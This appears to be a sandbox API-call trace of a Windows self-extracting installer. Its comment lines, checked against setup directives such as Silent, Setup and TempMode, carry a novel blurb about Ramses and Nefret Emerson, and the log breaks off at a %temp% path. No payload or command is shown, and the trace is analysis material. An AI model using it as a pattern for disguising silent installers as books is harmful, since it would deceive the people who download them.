lpString1="\xef\xbb\xbf\x49\x6e\x20\x74\x68\x69\x73\x20\x69\x6e\x73\x74\x61\x6c\x6c\x6d\x65\x6e\x74\x2c\x20\x77\x68\x69\x63\x68\x20\x74\x61\x6b\x65\x73\x20\x70\x6c\x61\x63\x65\x20\x64\x75\x72\x69\x6e\x67\x20\x74\x68\x65\x20\x31\x39\x31\x35\x2d\x31\x39\x31\x36\x20\x73\x65\x61\x73\x6f\x6e\x2c", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.517] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.518] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. In this installment, which takes place during the 1915-1916 season,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.519] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" newlyweds Ramses and Nefret Emerson spend their time living on their family's dahabeeyah on the Nile, while the rest of the group remains at the house near Giza, where their excavations continue. Between the antics of Ramses' former associates in the smuggling trade, the reappearance of the Master Criminal, and yet another unknown adversary with a rich find,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" little time is permitted for romance...but of course,", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.520] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SavePath", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="Update", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="", cchCount1=-1, lpString2="SetupCode", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Delete", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Text", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Title", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Path", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Silent", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Overwrite", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Setup", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="TempMode", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="License", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Presetup", cchCount2=-1) returned 1 [0067.521] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1=" the younger Emersons make the most of it. ", cchCount1=-1, lpString2="Shortcut", cchCount2=-1) returned 1 [0067.522] ExpandEnvironmentStringsW (in: lpSrc="U8471", lpDst=0x172020, nSize=0x1000 | out: lpDst="U8471") returned 0x6 [0067.522] OemToCharBuffA (in: lpszSrc="U", lpszDst=0x174034, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.522] CharToOemBuffA (in: lpszSrc="U", lpszDst=0x174028, cchDstLength=0x1 | out: lpszDst="U") returned 1 [0067.522] ExpandEnvironmentStringsW (in: lpSrc="1", lpDst=0x172020, nSize=0x1000 | out: lpDst="1") returned 0x2 [0067.522] ExpandEnvironmentStringsW (in: lpSrc="%temp%\\62890218", 